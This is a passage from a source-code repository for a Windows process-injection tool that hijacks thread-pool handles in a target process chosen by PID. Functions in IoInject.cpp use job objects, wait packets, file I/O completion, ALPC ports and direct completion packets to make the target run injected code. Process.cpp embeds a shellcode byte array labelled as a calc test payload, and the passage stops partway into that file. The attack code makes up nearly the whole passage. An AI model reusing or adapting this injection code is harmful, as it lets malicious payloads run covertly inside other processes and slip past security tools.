409 | INT32 __PADDING__[1];
410 | } FULL_TP_IO, * PFULL_TP_IO;
411 |
412 |
413 | typedef struct _FULL_TP_ALPC
414 | {
415 | struct _TP_DIRECT Direct;
416 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
417 | void* AlpcPort;
418 | INT32 DeferredSendCount;
419 | INT32 LastConcurrencyCount;
420 | union
421 | {
422 | UINT32 Flags;
423 | UINT32 ExTypeCallback : 1;
424 | UINT32 CompletionListRegistered : 1;
425 | UINT32 Reserved : 30;
426 | };
427 | INT32 __PADDING__[1];
428 | } FULL_TP_ALPC, * PFULL_TP_ALPC;
429 |
430 |
431 | typedef struct _FULL_TP_JOB
432 | {
433 | struct _TP_DIRECT Direct;
434 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember;
435 | void* JobHandle;
436 | union
437 | {
438 | volatile int64_t CompletionState;
439 | int64_t Rundown : 1;
440 | int64_t CompletionCount : 63;
441 | };
442 | struct _RTL_SRWLOCK RundownLock;
443 | } FULL_TP_JOB, * PFULL_TP_JOB;
444 |
445 | typedef VOID(NTAPI* PTP_ALPC_CALLBACK)(
446 | _Inout_ PTP_CALLBACK_INSTANCE Instance,
447 | _Inout_opt_ PVOID Context,
448 | _In_ PFULL_TP_ALPC Alpc
449 | );
450 |
451 |
452 | typedef struct _FILE_IO_COMPLETION_INFORMATION
453 | {
454 | PVOID KeyContext;
455 | PVOID ApcContext;
456 | IO_STATUS_BLOCK IoStatusBlock;
457 | } FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION;
458 |
459 |
460 | typedef struct _FILE_COMPLETION_INFORMATION {
461 | HANDLE Port;
462 | PVOID Key;
463 | } FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION;
464 |
465 |
466 | typedef enum
467 | {
468 | FileReplaceCompletionInformation = 61
469 | } FILE_INFOCLASS;
470 |
471 |
472 | typedef struct _ALPC_PORT_ATTRIBUTES
473 | {
474 | unsigned long Flags;
475 | SECURITY_QUALITY_OF_SERVICE SecurityQos;
476 | unsigned __int64 MaxMessageLength;
477 | unsigned __int64 MemoryBandwidth;
478 | unsigned __int64 MaxPoolUsage;
479 | unsigned __int64 MaxSectionSize;
480 | unsigned __int64 MaxViewSize;
481 | unsigned __int64 MaxTotalSectionSize;
482 | ULONG DupObjectTypes;
483 | #ifdef _WIN64
484 | ULONG Reserved;
485 | #endif
486 | } ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;
487 |
488 |
489 | typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT
490 | {
491 | PVOID CompletionKey;
492 | HANDLE CompletionPort;
493 | } ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT;
494 |
495 |
496 | typedef struct _PORT_MESSAGE
497 | {
498 | union
499 | {
500 | struct
501 | {
502 | USHORT DataLength;
503 | USHORT TotalLength;
504 | } s1;
505 | ULONG Length;
506 | } u1;
507 | union
508 | {
509 | struct
510 | {
511 | USHORT Type;
512 | USHORT DataInfoOffset;
513 | } s2;
514 | ULONG ZeroInit;
515 | } u2;
516 | union
517 | {
518 | CLIENT_ID ClientId;
519 | double DoNotUseThisField;
520 | };
521 | ULONG MessageId;
522 | union
523 | {
524 | SIZE_T ClientViewSize;
525 | ULONG CallbackId;
526 | };
527 | } PORT_MESSAGE, * PPORT_MESSAGE;
528 |
529 | typedef struct _ALPC_MESSAGE {
530 | PORT_MESSAGE PortHeader;
531 | BYTE PortMessage[1000];
532 | } ALPC_MESSAGE, * PALPC_MESSAGE;
533 |
534 |
535 | typedef struct _ALPC_MESSAGE_ATTRIBUTES
536 | {
537 | ULONG AllocatedAttributes;
538 | ULONG ValidAttributes;
539 | } ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
540 |
541 |
542 | typedef struct _T2_SET_PARAMETERS_V0
543 | {
544 | ULONG Version;
545 | ULONG Reserved;
546 | LONGLONG NoWakeTolerance;
547 | } T2_SET_PARAMETERS, * PT2_SET_PARAMETERS;
--------------------------------------------------------------------------------
/include/Utils.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include "FunctionPtrs.hpp"
7 | #include "Defs.hpp"
8 |
9 | HANDLE hijackProcessWorkerFactory(HANDLE processHandle);
10 | HANDLE hijackProcessTimerQueue(HANDLE processHandle);
11 | HANDLE hijackProcessIoPort(HANDLE processHandle);
12 | HANDLE hijackProcessHandle(_In_ HANDLE targetProcess, _In_ const wchar_t* handleTypeName, _In_ uint32_t desiredAccess);
13 | bool writePayloadIntoProcess(_In_ HANDLE hProcess, _In_ void* pPayload, _In_ size_t payloadSize, _Out_ void** pRemoteAddress);
--------------------------------------------------------------------------------
/src/IoInject.cpp:
--------------------------------------------------------------------------------
1 | #include "../include/Injection.hpp"
2 |
3 | bool InjectViaJobCallback(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort)
4 | {
5 | NTSTATUS status = 0x00;
6 | void* remoteMemory = nullptr;
7 | HANDLE hJob = nullptr;
8 | PFULL_TP_JOB pFullTpJob = { 0 };
9 | size_t regionSize = 0;
10 | JOBOBJECT_ASSOCIATE_COMPLETION_PORT completionPort = { 0 };
11 |
12 | fnTpAllocJobNotification pTpAllocJobNotification = reinterpret_cast(
13 | GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "TpAllocJobNotification"));
14 |
15 | if (pTpAllocJobNotification == nullptr) {
16 | std::cerr << "failed to acquire function pointers.\n"
17 | << std::endl;
18 | return false;
19 | }
20 |
21 | hJob = CreateJobObjectA(NULL, "Urien's Job");
22 | if (hJob == NULL) {
23 | WIN32_ERR(CreateJobObjectA);
24 | return false;
25 | }
26 |
27 | // this should fill the "FULL_TP_JOB" structure
28 | status = pTpAllocJobNotification(
29 | &pFullTpJob,
30 | hJob,
31 | payloadAddress,
32 | nullptr,
33 | nullptr
34 | );
35 |
36 | if (status != ERROR_SUCCESS) {
37 | NTAPI_ERR(TpAllocJobNotification, status);
38 | return false;
39 | }
40 |
41 | remoteMemory = VirtualAllocEx(
42 | targetProcess,
43 | nullptr,
44 | sizeof(FULL_TP_JOB),
45 | MEM_COMMIT | MEM_RESERVE,
46 | PAGE_READWRITE
47 | );
48 |
49 | if (remoteMemory == nullptr) {
50 | WIN32_ERR(VirtualAllocEx);
51 | return false;
52 | }
53 |
54 | // Write job callback struct
55 | if (!WriteProcessMemory(
56 | targetProcess,
57 | remoteMemory,
58 | pFullTpJob,
59 | sizeof(FULL_TP_JOB),
60 | nullptr
61 | )) {
62 | WIN32_ERR(WriteProcessMemory);
63 | return false;
64 | }
65 |
66 | //
67 | // We have to zero out the associated completion port first
68 | //
69 | if (!SetInformationJobObject(hJob,
70 | JobObjectAssociateCompletionPortInformation,
71 | &completionPort,
72 | sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT)
73 | )) {
74 | WIN32_ERR(SetInformationJobObject[1]);
75 | return false;
76 | }
77 |
78 | //
79 | // Associate completion port with payload
80 | //
81 | completionPort.CompletionKey = remoteMemory;
82 | completionPort.CompletionPort = hIoPort;
83 |
84 | if (!SetInformationJobObject(hJob,
85 | JobObjectAssociateCompletionPortInformation,
86 | &completionPort,
87 | sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT)
88 | )) {
89 | WIN32_ERR(SetInformationJobObject[2]);
90 | return false;
91 | }
92 |
93 | //
94 | // Queue IO packet to job object completion port
95 | //
96 | if (!AssignProcessToJobObject(hJob, GetCurrentProcess())) {
97 | WIN32_ERR(AssignProcessToJobObject);
98 | return false;
99 | }
100 |
101 | return true;
102 | }
103 |
104 | bool InjectViaTpWait(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort)
105 | {
106 | fnNtAssociateWaitCompletionPacket pNtAssociateWaitCompletionPacket = nullptr;
107 | PFULL_TP_WAIT pTpWait = nullptr;
108 | void* remoteTpWait = nullptr;
109 | void* remoteTpDirect = nullptr;
110 | HANDLE hEvent = nullptr;
111 | NTSTATUS status = ERROR_SUCCESS;
112 |
113 | pNtAssociateWaitCompletionPacket = reinterpret_cast( // locate this stub
114 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtAssociateWaitCompletionPacket"));
115 |
116 | if (pNtAssociateWaitCompletionPacket == nullptr) {
117 | std::cerr << "{!!} Failed to get NtAssociateWaitCompletionPacket Function Pointer." << std::endl;
118 | return false;
119 | }
120 |
121 | //
122 | // Create a TP_WAIT structure that will trigger our callback once an asynchronous event
123 | // is interacted with, such as through SetEvent.
124 | //
125 | pTpWait = (PFULL_TP_WAIT)CreateThreadpoolWait(
126 | static_cast(payloadAddress),
127 | nullptr,
128 | nullptr
129 | );
130 |
131 | if (pTpWait == nullptr) {
132 | WIN32_ERR(CreateThreadPoolWait);
133 | return false;
134 | }
135 |
136 | //
137 | // Allocate and write memory into the process for the TP_WAIT callback structure.
138 | //
139 | remoteTpWait = VirtualAllocEx(
140 | targetProcess,
141 | nullptr,
142 | sizeof(FULL_TP_WAIT),
143 | MEM_COMMIT | MEM_RESERVE,
144 | PAGE_READWRITE
145 | );
146 |
147 | if (remoteTpWait == nullptr) {
148 | WIN32_ERR(VirtualAllocEx);
149 | return false;
150 | }
151 |
152 | if (!WriteProcessMemory(targetProcess,
153 | remoteTpWait,
154 | pTpWait,
155 | sizeof(FULL_TP_WAIT),
156 | nullptr
157 | )) {
158 | WIN32_ERR(WriteProcessMemory);
159 | return false;
160 | }
161 |
162 | //
163 | // Do the same for a TP_DIRECT structure. Note that this is a helper struct,
164 | // used to trigger the actual callback once an IO packet is sent.
165 | //
166 | remoteTpDirect = VirtualAllocEx(
167 | targetProcess,
168 | nullptr,
169 | sizeof(TP_DIRECT),
170 | MEM_COMMIT | MEM_RESERVE,
171 | PAGE_READWRITE
172 | );
173 |
174 | if (remoteTpDirect == nullptr) {
175 | WIN32_ERR(VirtualAllocEx);
176 | return false;
177 | }
178 |
179 | if (!WriteProcessMemory(
180 | targetProcess,
181 | remoteTpDirect,
182 | &pTpWait->Direct,
183 | sizeof(TP_DIRECT),
184 | nullptr
185 | )) {
186 | WIN32_ERR(WriteProcessMemory);
187 | return false;
188 | }
189 |
190 | //
191 | // Create event object
192 | //
193 | hEvent = CreateEventW(nullptr, FALSE, FALSE, L"Urien's Event Object");
194 | if (hEvent == NULL) {
195 | WIN32_ERR(CreateEventW);
196 | return false;
197 | }
198 |
199 | status = pNtAssociateWaitCompletionPacket(
200 | pTpWait->WaitPkt, //< This Wait packet is associated with the shellcode
201 | hIoPort, //< Where to send this packet once event is signaled
202 | hEvent, //< The event object in question
203 | remoteTpDirect, //< The helper structure or "key" that gets looked at when a signal occurs
204 | remoteTpWait, //< The actual callback
205 | 0,
206 | 0,
207 | nullptr
208 | );
209 |
210 | if (status != ERROR_SUCCESS) {
211 | NTAPI_ERR(NtAssociateWaitCompletionPacket, status);
212 | return false;
213 | }
214 |
215 | //
216 | // Queue the IO packet, triggering the callback
217 | //
218 | SetEvent(hEvent);
219 | return true;
220 | }
221 |
222 | bool InjectViaTpIo(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort)
223 | {
224 | wchar_t fullFilePath[MAX_PATH] = { 0 };
225 | wchar_t tempPath[MAX_PATH] = { 0 };
226 | HANDLE hFile = nullptr;
227 | PFULL_TP_IO pTpIo = nullptr;
228 | void* pRemoteTpIo = nullptr;
229 | IO_STATUS_BLOCK ioStatusBlock = { 0 };
230 | NTSTATUS status = 0x00;
231 | uint32_t bytesWritten = NULL;
232 | OVERLAPPED overlapped = { 0 };
233 | fnNtSetInformationFile pNtSetInformationFile = nullptr;
234 | FILE_COMPLETION_INFORMATION fileCompletionInfo = { 0 };
235 |
236 |
237 | pNtSetInformationFile = reinterpret_cast(GetProcAddress(
238 | GetModuleHandleW(L"NTDLL.DLL"), "NtSetInformationFile"));
239 |
240 | if (pNtSetInformationFile == nullptr) {
241 | std::cerr << "{!!} Failed to get NtSetInformationFile Function Pointer." << std::endl;
242 | }
243 |
244 | //
245 | // Create a random file we can use
246 | //
247 | if (!GetTempPathW(MAX_PATH, tempPath)) {
248 | WIN32_ERR(GetTempPathW);
249 | return false;
250 | }
251 |
252 | if (!GetTempFileNameW(tempPath, L"UR", 0, fullFilePath)) {
253 | WIN32_ERR(GetTempFileNameW);
254 | return false;
255 | }
256 |
257 | hFile = CreateFileW(
258 | fullFilePath,
259 | GENERIC_READ | GENERIC_WRITE,
260 | FILE_SHARE_READ | FILE_SHARE_WRITE,
261 | nullptr,
262 | CREATE_ALWAYS,
263 | FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
264 | nullptr
265 | );
266 |
267 | if (hFile == INVALID_HANDLE_VALUE) {
268 | WIN32_ERR(CreateFileW);
269 | return false;
270 | }
271 |
272 | //
273 | // Create TP_IO structure for our callback.
274 | // Note: due to Microsoft's extreme retardation, the callback address
275 | // does not get instantiated correctly within the struct so we need to do it ourselves.
276 | //
277 | pTpIo = reinterpret_cast(CreateThreadpoolIo(
278 | hFile,
279 | static_cast(payloadAddress),
280 | nullptr,
281 | nullptr)
282 | );
283 |
284 | if (pTpIo == nullptr) {
285 | WIN32_ERR(CreateThreadPoolIo);
286 | return false;
287 | }
288 |
289 | pTpIo->CleanupGroupMember.Callback = payloadAddress;
290 | ++(pTpIo->PendingIrpCount);
291 |
292 | //
293 | // Allocate TP_IO memory and write
294 | //
295 | pRemoteTpIo = VirtualAllocEx(
296 | targetProcess,
297 | nullptr,
298 | sizeof(FULL_TP_IO),
299 | MEM_COMMIT | MEM_RESERVE,
300 | PAGE_READWRITE
301 | );
302 |
303 | if (pRemoteTpIo == nullptr) {
304 | WIN32_ERR(VirtualAllocEx);
305 | return false;
306 | }
307 |
308 | if (!WriteProcessMemory(
309 | targetProcess,
310 | pRemoteTpIo,
311 | pTpIo,
312 | sizeof(FULL_TP_IO),
313 | nullptr
314 | )) {
315 | WIN32_ERR(WriteProcessMemory);
316 | return false;
317 | }
318 |
319 | //
320 | // Associate the file with the target process' IO completion port.
321 | // Any interaction with the file will now send a packet to the completion port, triggering the callback.
322 | //
323 | fileCompletionInfo.Key = &(reinterpret_cast(pRemoteTpIo)->Direct);
324 | fileCompletionInfo.Port = hIoPort;
325 |
326 | status = pNtSetInformationFile(
327 | hFile,
328 | &ioStatusBlock,
329 | &fileCompletionInfo,
330 | sizeof(FILE_COMPLETION_INFORMATION),
331 | static_cast(61)
332 | );
333 |
334 | if (status != ERROR_SUCCESS) {
335 | NTAPI_ERR(NtSetInformationFile, status);
336 | return false;
337 | }
338 |
339 | //
340 | // Trigger the callback via file interaction.
341 | //
342 | if (!WriteFile(hFile,
343 | MY_MESSAGE,
344 | sizeof(MY_MESSAGE),
345 | nullptr,
346 | &overlapped)
347 | && GetLastError() != ERROR_IO_PENDING)
348 | {
349 | WIN32_ERR(WriteFile);
350 | return false;
351 | }
352 |
353 | return true;
354 | }
355 |
356 | void _RtlInitUnicodeString(OUT PUNICODE_STRING UsStruct, IN OPTIONAL PCWSTR Buffer)
357 | {
358 | if ((UsStruct->Buffer = (PWSTR)Buffer)) {
359 | unsigned int Length = wcslen(Buffer) * sizeof(WCHAR);
360 | if (Length > 0xfffc) { // 0xfffc is the maximum length permitted by Microsoft for this struct
361 | Length = 0xfffc;
362 | }
363 |
364 | UsStruct->Length = Length;
365 | UsStruct->MaximumLength = UsStruct->Length + sizeof(WCHAR); // Account for null terminator.
366 | } else {
367 | UsStruct->Length = UsStruct->MaximumLength = 0;
368 | }
369 | }
370 |
371 | bool InjectViaAlpc(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort)
372 | {
373 | fnNtAlpcConnectPort pNtAlpcConnectPort = nullptr;
374 | fnNtAlpcCreatePort pNtAlpcCreatePort = nullptr;
375 | fnTpAllocAlpcCompletion pTpAllocAlpcCompletion = nullptr;
376 | fnNtAlpcSetInformation pNtAlpcSetInformation = nullptr;
377 |
378 | NTSTATUS status = 0x00;
379 | HANDLE hRealApcPort = nullptr;
380 | HANDLE hTempApcPort = nullptr;
381 | PFULL_TP_ALPC pFullTpAlpc = nullptr;
382 |
383 | void* remoteTpAlpc = nullptr;
384 | std::string alpcMessageString = MY_MESSAGE;
385 |
386 | UNICODE_STRING usAlpcPortName = { 0 };
387 | OBJECT_ATTRIBUTES objectAttributes = { 0 };
388 | ALPC_PORT_ATTRIBUTES alpcPortAttributes = { 0 };
389 | OBJECT_ATTRIBUTES clientAlpcAttributes = { 0 };
390 |
391 | //
392 | // Get function pointers
393 | //
394 | pNtAlpcCreatePort = reinterpret_cast(
395 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtAlpcCreatePort"));
396 | pTpAllocAlpcCompletion = reinterpret_cast(
397 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "TpAllocAlpcCompletion"));
398 | pNtAlpcSetInformation = reinterpret_cast(
399 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtAlpcSetInformation"));
400 | pNtAlpcConnectPort = reinterpret_cast(
401 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtAlpcConnectPort"));
402 |
403 | if (pNtAlpcCreatePort == nullptr || pTpAllocAlpcCompletion == nullptr || pNtAlpcSetInformation == nullptr || pNtAlpcConnectPort == nullptr) {
404 | std::cerr << "{!!} Failed to get ALPC-related function pointers." << std::endl;
405 | return false;
406 | }
407 |
408 | //
409 | // Create ALPC object
410 | //
411 | status = pNtAlpcCreatePort(
412 | &hTempApcPort,
413 | nullptr,
414 | nullptr
415 | );
416 |
417 | if (status != ERROR_SUCCESS) {
418 | NTAPI_ERR(NtAlpcCreatePort, status);
419 | return false;
420 | }
421 |
422 | //
423 | // Create ALPC callback structure
424 | //
425 | status = pTpAllocAlpcCompletion(
426 | &pFullTpAlpc,
427 | hTempApcPort,
428 | static_cast(payloadAddress),
429 | nullptr,
430 | nullptr
431 | );
432 |
433 | if (status != ERROR_SUCCESS) {
434 | NTAPI_ERR(TpAllocAlpcCompletion, status);
435 | return false;
436 | }
437 |
438 | //
439 | // Create Second Port
440 | //
441 | _RtlInitUnicodeString(&usAlpcPortName, L"\\RPC Control\\UriensApcPort");
442 |
443 | objectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
444 | objectAttributes.ObjectName = &usAlpcPortName;
445 |
446 | alpcPortAttributes.Flags = 0x20000;
447 | alpcPortAttributes.MaxMessageLength = 328;
448 |
449 | status = pNtAlpcCreatePort(&hRealApcPort,
450 | &objectAttributes,
451 | &alpcPortAttributes);
452 |
453 | if (status != ERROR_SUCCESS) {
454 | NTAPI_ERR(NtAlpcCreatePort, status);
455 | return false;
456 | }
457 |
458 | //
459 | // Copy ALPC callback struct into target process
460 | //
461 | remoteTpAlpc = VirtualAllocEx(
462 | targetProcess,
463 | nullptr,
464 | sizeof(FULL_TP_ALPC),
465 | MEM_COMMIT | MEM_RESERVE,
466 | PAGE_READWRITE
467 | );
468 |
469 | if (remoteTpAlpc == nullptr) {
470 | WIN32_ERR(VirtualAllocEx);
471 | return false;
472 | }
473 |
474 | if (!WriteProcessMemory(
475 | targetProcess,
476 | remoteTpAlpc,
477 | pFullTpAlpc,
478 | sizeof(FULL_TP_ALPC),
479 | nullptr
480 | )) {
481 | WIN32_ERR(WriteProcessMemory);
482 | return false;
483 | }
484 |
485 | //
486 | // Associate the process' IO completion port with our ALPC object
487 | //
488 | ALPC_PORT_ASSOCIATE_COMPLETION_PORT alpcAssocCompletionPort = { 0 };
489 | alpcAssocCompletionPort.CompletionKey = remoteTpAlpc;
490 | alpcAssocCompletionPort.CompletionPort = hIoPort;
491 |
492 | status = pNtAlpcSetInformation(
493 | hRealApcPort,
494 | 2,
495 | &alpcAssocCompletionPort,
496 | sizeof(ALPC_PORT_ASSOCIATE_COMPLETION_PORT)
497 | );
498 |
499 | if (status != ERROR_SUCCESS) {
500 | NTAPI_ERR(NtAlpcSetInformation, status);
501 | }
502 |
503 | //
504 | // Now we "only" need to send a message to the ALPC object,
505 | // which is still INSANELY annoying to do.
506 | //
507 | clientAlpcAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
508 | ALPC_MESSAGE clientAlpcMessage = { 0 };
509 | clientAlpcMessage.PortHeader.u1.s1.DataLength = alpcMessageString.length();
510 | clientAlpcMessage.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + alpcMessageString.length();
511 |
512 | std::copy(alpcMessageString.begin(), alpcMessageString.end(), clientAlpcMessage.PortMessage);
513 | size_t clientAlpcMessageSize = sizeof(clientAlpcMessage);
514 |
515 | //
516 | // if a timeout for the ALPC connection is not specified, it will infinitely block.
517 | //
518 | LARGE_INTEGER timeout = { 0 };
519 | timeout.QuadPart = -10000000;
520 |
521 | //
522 | // Initiate the ALPC port connection and send IO packet
523 | //
524 | HANDLE outHandle = nullptr;
525 | status = pNtAlpcConnectPort(
526 | &outHandle,
527 | &usAlpcPortName,
528 | &clientAlpcAttributes,
529 | &alpcPortAttributes,
530 | 0x20000,
531 | nullptr,
532 | (PPORT_MESSAGE)&clientAlpcMessage,
533 | &clientAlpcMessageSize,
534 | nullptr,
535 | nullptr,
536 | &timeout
537 | );
538 |
539 | if (status != ERROR_SUCCESS && status != STATUS_TIMEOUT) {
540 | NTAPI_ERR(NtAlpcConnectPort, status);
541 | return false;
542 | }
543 |
544 | return true;
545 | }
546 |
547 | bool InjectViaTpDirect(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hIoPort)
548 | {
549 | TP_DIRECT direct = { 0 };
550 | void* remoteTpDirect = nullptr;
551 | fnNtSetIoCompletion pNtSetIoCompletion = nullptr;
552 | NTSTATUS status = ERROR_SUCCESS;
553 | direct.Callback = payloadAddress;
554 |
555 | //
556 | // Allocate remote memory for the TP_DIRECT structure
557 | //
558 |
559 | remoteTpDirect = VirtualAllocEx(
560 | targetProcess,
561 | nullptr,
562 | sizeof(TP_DIRECT),
563 | MEM_COMMIT | MEM_RESERVE,
564 | PAGE_READWRITE
565 | );
566 |
567 | if (remoteTpDirect == nullptr) {
568 | WIN32_ERR(VirtualAllocEx);
569 | return false;
570 | }
571 |
572 | if (!WriteProcessMemory(
573 | targetProcess,
574 | remoteTpDirect,
575 | &direct,
576 | sizeof(TP_DIRECT),
577 | nullptr
578 | )) {
579 | WIN32_ERR(WriteProcessMemory);
580 | return false;
581 | }
582 |
583 | pNtSetIoCompletion = reinterpret_cast(
584 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtSetIoCompletion"));
585 | if (pNtSetIoCompletion == nullptr) {
586 | std::cerr << "{!!} Failed to get NtSetIoCompletion function pointer." << std::endl;
587 | return false;
588 | }
589 |
590 | //
591 | // Trigger malicious callback
592 | //
593 | status = pNtSetIoCompletion(hIoPort, remoteTpDirect, 0, 0, 0);
594 | if (status != ERROR_SUCCESS) {
595 | NTAPI_ERR(NtSetIoCompletion, status);
596 | return false;
597 | }
598 |
599 | return true;
600 | }
601 |
--------------------------------------------------------------------------------
/src/Main.cpp:
--------------------------------------------------------------------------------
1 | #include "../include/Main.hpp"
2 |
3 | int wmain(int argc, wchar_t** argv)
4 | {
5 | if (argc < 4) {
6 | std::cout
7 | << "Useage: \n"
8 | << "1: [Target Process PID]\n"
9 | << "2: [Injection Type] - Options: \"/ioport\", \"/timer\", \"/workerfactory\"\n\n"
10 | << "3: [Subtypes] - Options: \n\t{\"work\", \"startroutine\"}: for /workerfactory\n"
11 | << "\t{\"wait\", \"jobobject\", \"alpc\", \"direct\", \"tpio\"}: for /ioport\n"
12 | << "\t{\"tptimer\"}: for /timer\n"
13 | << "\nEXAMPLE: ThreadPoolInjection.exe 3314 /ioport alpc\n";
14 | return EXIT_SUCCESS;
15 | }
16 |
17 | HandleHijackClass handleType;
18 | const std::wstring pidStr = argv[1];
19 | const std::wstring injType = argv[2];
20 | const std::wstring injSubtype = argv[3];
21 |
22 | if (injType == L"/ioport") {
23 | handleType = TpIoPort;
24 | } else if (injType == L"/timer") {
25 | handleType = TpTimer;
26 | } else if (injType == L"/workerfactory") {
27 | handleType = TpWorkerFactory;
28 | } else {
29 | std::wcerr << L"\n{!!} Invalid Command Line Argument Supplied: " << argv[2] << std::endl;
30 | return EXIT_FAILURE;
31 | }
32 |
33 | uint32_t thePID = 0;
34 | try {
35 | thePID = std::stoul(pidStr);
36 | } catch (...) {
37 | std::wcerr << L"\n{!!} Invalid PID Supplied: " << argv[1] << std::endl;
38 | return EXIT_FAILURE;
39 | }
40 |
41 | Process targetProcess(thePID, handleType);
42 | if (!targetProcess.init()) {
43 | return EXIT_FAILURE;
44 | }
45 |
46 | if (wcscmp(argv[3], L"startroutine") != 0) {
47 | if (!targetProcess.injectShellcode()) {
48 | return EXIT_FAILURE;
49 | }
50 | }
51 |
52 | bool succeeded = false;
53 | if (injSubtype == L"startroutine") {
54 | succeeded = targetProcess.ProcessWorkerFactoryInject();
55 | } else if (injSubtype == L"work") {
56 | succeeded = targetProcess.ProcessWorkInject();
57 | } else if (injSubtype == L"alpc") {
58 | succeeded = targetProcess.ProcessAlpcInject();
59 | } else if (injSubtype == L"direct") {
60 | succeeded = targetProcess.ProcessTpDirectInject();
61 | } else if (injSubtype == L"jobobject") {
62 | succeeded = targetProcess.ProcessJobInject();
63 | } else if (injSubtype == L"tpio") {
64 | succeeded = targetProcess.ProcessTpIoInject();
65 | } else if (injSubtype == L"wait") {
66 | succeeded = targetProcess.ProcessWaitInject();
67 | } else if (injSubtype == L"tptimer") {
68 | succeeded = targetProcess.ProcessTimerInject();
69 | } else {
70 | std::wcerr << L"\n{!!} Invalid Injection Subtype Sent: " << argv[3] << std::endl;
71 | return EXIT_FAILURE;
72 | }
73 |
74 | if (!succeeded) {
75 | return EXIT_FAILURE;
76 | }
77 |
78 | std::cout << "{+} Finished successfully." << std::endl;
79 | return EXIT_SUCCESS;
80 | }
81 |
--------------------------------------------------------------------------------
/src/Process.cpp:
--------------------------------------------------------------------------------
1 | #include "../include/Process.hpp"
2 |
3 | // Calc payload for testing. We'll inject this
4 | unsigned char Shellcode[] = {
5 | 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
6 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
7 | 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
8 | 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
9 | 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
10 | 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
11 | 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
12 | 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
13 | 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
14 | 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
15 | 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
16 | 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
17 | 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
18 | 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
19 | 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
20 | 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
21 | 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
22 | 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
23 | 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
24 | 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
25 | 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
26 | 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
27 | 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
28 | };
29 |
30 | bool Process::injectShellcode()
31 | {
32 | if (!isInitialized)
33 | return false;
34 |
35 | return writePayloadIntoProcess(processHandle, Shellcode, sizeof(Shellcode), &remotePayload);
36 | }
37 |
38 | bool Process::ProcessAlpcInject()
39 | {
